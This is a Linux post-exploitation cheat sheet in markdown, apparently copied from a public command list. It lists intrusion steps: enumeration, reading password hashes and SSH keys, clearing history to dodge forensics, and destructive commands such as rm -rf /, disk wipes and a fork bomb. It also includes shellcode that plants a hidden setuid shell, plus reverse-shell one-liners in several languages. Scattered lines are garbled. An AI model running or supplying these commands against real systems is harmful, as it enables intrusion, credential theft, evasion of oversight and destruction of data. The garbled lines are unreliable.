Linux Systems Hints.md

Collecting Information

Blind Files

things to pull when all you can do is blindly read like in LFI/dir traversal (Don’t forget %00!)

File	Contents and Reason
/etc/resolv.conf	Contains the current name servers (DNS) for the system. This is a globally readable file that is less likely to trigger IDS alerts than /etc/passwd
/etc/motd	Message of the Day
/etc/issue	current version of distro
/etc/passwd	List of local users
/etc/shadow	List of users’ passwords’ hashes (requires root)
/home/xxx/.bash_history	Will give you some directory context

System

Command	Description and/or Reason
uname -a	Prints the kernel version, arch, sometimes distro
ps aux	List all running processes
top -n 1 -d	Print process, 1 is a number of lines
id	Your current username, groups
arch, uname -m	Kernel processor architecture
w	who is connected, uptime and load avg
who -a	uptime, runlevel, tty, proceses etc.
gcc -v	Returns the version of GCC.
mysql --version	Returns the version of MySQL.
perl -v	Returns the version of Perl.
ruby -v	Returns the version of Ruby.
python --version	Returns the version of Python.
df -k	mounted fs, size, % use, dev and mount point
mount	mounted fs
last -a	Last users logged on
lastcomm
lastlog
lastlogin (BSD)
getenforce	Get the status of SELinux (Enforcing, Permissive or Disabled)
dmesg	Informations from the last system boot
lspci	prints all PCI buses and devices
lsusb	prints all USB buses and devices
lscpu	prints CPU information
lshw	list hardware information
ex
cat /proc/cpuinfo
cat /proc/meminfo
du -h --max-depth=1 /	note: can cause heavy disk i/o
which nmap	locate a command (ie nmap or nc)
locate bin/nmap
locate bin/nc
jps -l
java -version	Returns the version of Java.

Networking

Command	Description and/or Reason
hostname -f
ip addr show
ip ro show
ifconfig -a
route -n
cat /etc/network/interfaces
iptables -L -n -v
iptables -t nat -L -n -v
ip6tables -L -n -v
iptables-save
netstat -anop
netstat -r
netstat -nltupw	root with raw sockets
arp -a
lsof -nPi
cat /proc/net/*	more discreet, all the information given by the above commands can be found by looking into the files under /proc/net, and this approach is less likely to trigger monitoring or other stuff

User Accounts

Command	Description and/or Reason
cat /etc/passwd	local accounts
cat /etc/shadow	password hashes on Linux
/etc/security/passwd	password hashes on AIX
cat /etc/group	groups (or /etc/gshadow)
getent passwd	should dump all local, LDAP, NIS, whatever the system is using
getent group	same for groups
pdbedit -L -w	Samba’s own database
pdbedit -L -v
cat /etc/aliases	mail aliases
find /etc -name aliases
getent aliases
ypcat passwd	displays NIS password file

Obtain user's information

• ls -alh /home/*/
• ls -alh /home/*/.ssh/
• cat /home/*/.ssh/authorized_keys
• cat /home/*/.ssh/known_hosts
• cat /home/*/.hist # you can learn a lot from this
• find /home//.vnc /home//.subversion -type f
• grep ^ssh /home/*/.hist
• grep ^telnet `/home/*/.hist
• grep ^mysql /home/*/.hist
• cat /home/*/.viminfo
• sudo -l # if sudoers is not. readable, this sometimes works per user
• crontab -l
• cat /home/*/.mysql_history
• sudo -p (allows the user to define what the password prompt will be, useful for fun customization with aliases or shell scripts)

Credentials

File/Folder	Description and/or Reason
/home//.ssh/id	SSH keys, often passwordless
/tmp/krb5cc_*	Kerberos tickets
/tmp/krb5.keytab	Kerberos tickets
/home/*/.gnupg/secring.gpgs	PGP keys

Configs

• ls -aRl /etc/ * awk '$1 ~ /w.$/' * grep -v lrwx 2>/dev/nullte
• cat /etc/issue{,.net}
• cat /etc/master.passwd
• cat /etc/group
• cat /etc/hosts
• cat /etc/crontab
• cat /etc/sysctl.conf
• for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
• cat /etc/resolv.conf
• cat /etc/syslog.conf
• cat /etc/chttp.conf
• cat /etc/lighttpd.conf
• cat /etc/cups/cupsd.confcda
• cat /etc/inetd.conf
• cat /opt/lampp/etc/httpd.conf
• cat /etc/samba/smb.conf
• cat /etc/openldap/ldap.conf
• cat /etc/ldap/ldap.conf
• cat /etc/exports
• cat /etc/auto.master
• cat /etc/auto_master
• cat /etc/fstab
• find /etc/sysconfig/ -type f -exec cat {} ;

Determine Distro

File	Description and/or Reason
uname -a	often hints at it pretty well
lsb_release -d	Generic command for all LSB distros
/etc/os-release	Generic for distros using “systemd”
/etc/issue	Generic but often modified
cat /etc/*release
/etc/SUSE-release	Novell SUSE
/etc/redhat-release, /etc/redhat_version	Red Hat
/etc/fedora-release	Fedora
/etc/slackware-release, /etc/slackware-version	Slackware
/etc/debian_release, /etc/debian_version	Debian
/etc/mandrake-release	Mandrake
/etc/sun-release	Sun JDS
/etc/release	Solaris/Sparc
/etc/gentoo-release	Gentoo
/etc/arch-release	Arch Linux (file will be empty)
arch	OpenBSD; sample: “OpenBSD.amd64”

Installed Packages

• rpm -qa --last | head
• yum list | grep installed
• Debian
  • dpkg -l
  • dpkg -l | grep -i “linux-image”
  • dpkg --get-selections
• {Free,Net}BSD: pkg_info
• Solaris: pkginfo
• Gentoo: cd /var/db/pkg/ && ls -d / # always works
• Arch Linux: pacman -Q

Package Sources

• cat /etc/apt/sources.list
• ls -l /etc/yum.repos.d/
• cat /etc/yum.conf

Finding Important Files

• ls -dlR */
• ls -alR | grep ^d
• find /var -type d
• ls -dl `find /var -type d`
• ls -dl `find /var -type d` | grep -v root
• find /var ! -user root -type d -ls
• find /var/log -type f -exec ls -la {} ;
• find / -perm -4000 (find all suid files)
• ls -alhtr /mnt
• ls -alhtr /media
• ls -alhtr /tmp
• ls -alhtr /home
• cd /home/; treels /home//.ssh/
• find /home -type f -iname '.*history'
• ls -lart /etc/rc.d/
• locate tar | grep [.]tar$ # Remember to updatedb before running locate
• locate tgz | grep [.]tgz$
• locate sql | grep [.]sql$
• locate settings | grep [.]php$
• locate config.inc | grep [.]php$
• ls /home//id
• .properties | grep [.]properties # java config files
• locate .xml | grep [.]xml # java/.net config files
• find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm /6000 -ls # find suids
• locate rhosts

Also, check https://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf for some one-liners that find world writable directories/files and more.

Avoiding history filesmys

• export HISTFILE=
  or
• unset HISTFILE

This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out.

However if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes.
clear all history in ram

• history -c
• rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive)
• touch ~/.bash_history (invasive)
• history -c (using a space before a command)
• zsh% unset HISTFILE HISTSIZE
• tcsh% set history=0
• bash$ set +o history
• ksh$ unset HISTFILE
• find / -type f -exec {} (forensics nightmare)

Note that you’re probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect.

In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 $$’ing the shell. Sometimes the shell can be configured to run ‘history -w’ after every command; get around this by overriding ‘history’ with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however.

Deleting and Destroying

If it is necessary to leave the machine inaccessible or unusable. Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles.
Oh, and you’re probably a jerk if you use any of the stuff below.

File	Description and/or Reason
rm -rf /	This will recursively try to delete all files
mkfs.ext3 /dev/sda	Reformat the device mentioned, making recovery of files hard
dd if=/dev/zero of=/dev/sda bs=1M	Overwrite disk /dev/sda with zeros

• Hex version of rm -rf / (How is this supposed to work?)

char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
“\x6e\x2f\x73\x68\x00\x2d\x63\x00"
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

• Fork Bomb: The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb.

:(){:|:&};:

Looking for possible opened paths

• ls -alh /root/
• sudo -l
• cat /etc/sudoers
• cat /etc/shadow
• cat /etc/master.passwd # OpenBSD
• cat /var/spool/cron/crontabs/* | cat /var/spool/cron/*
• lsof -nPi
• ls /home//.ssh/

Reverse Shell

Starting list sourced from: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

• bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any interpreter like Python, and so on.).

• perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'

• python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'

• php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

• ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore

• rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

• xterm -display 10.0.0.1:1se

• Listener- Xnest :1

• Add permission to connect- xhost +victimIP

• ssh -NR 3333:localhost:22 user@yourhost

• nc -e /bin/sh 10.0.0.1 1234

• rsync -Rr dizin/ dizin/yedek

Privilege Escalation

• nmap --interactive

• !sh

• Source : https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List